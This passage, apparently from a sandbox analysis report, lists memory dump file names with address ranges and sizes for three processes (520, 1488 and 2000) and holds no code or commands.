    Filesize

    124KB

  • memory/520-55-0x0000000000000000-mapping.dmp
  • memory/520-57-0x000007FEF3200000-0x000007FEF3C23000-memory.dmp
    Filesize

    10.1MB

  • memory/520-59-0x0000000002844000-0x0000000002847000-memory.dmp
    Filesize

    12KB

  • memory/520-58-0x000007FEF26A0000-0x000007FEF31FD000-memory.dmp
    Filesize

    11.4MB

  • memory/520-65-0x0000000002844000-0x0000000002847000-memory.dmp
    Filesize

    12KB

  • memory/1488-61-0x0000000075441000-0x0000000075443000-memory.dmp
    Filesize

    8KB

  • memory/1488-63-0x0000000072DD0000-0x000000007337B000-memory.dmp
    Filesize

    5.7MB

  • memory/1488-64-0x0000000005BC0000-0x0000000008A90000-memory.dmp
    Filesize

    46.8MB

  • memory/1488-60-0x0000000000000000-mapping.dmp
  • memory/1488-66-0x0000000072DD0000-0x000000007337B000-memory.dmp
    Filesize

    5.7MB

  • memory/1488-67-0x0000000005BC0000-0x0000000008A90000-memory.dmp
    Filesize

    46.8MB

  • memory/2000-54-0x000007FEFB561000-0x000007FEFB563000-memory.dmp
    Filesize

    8KB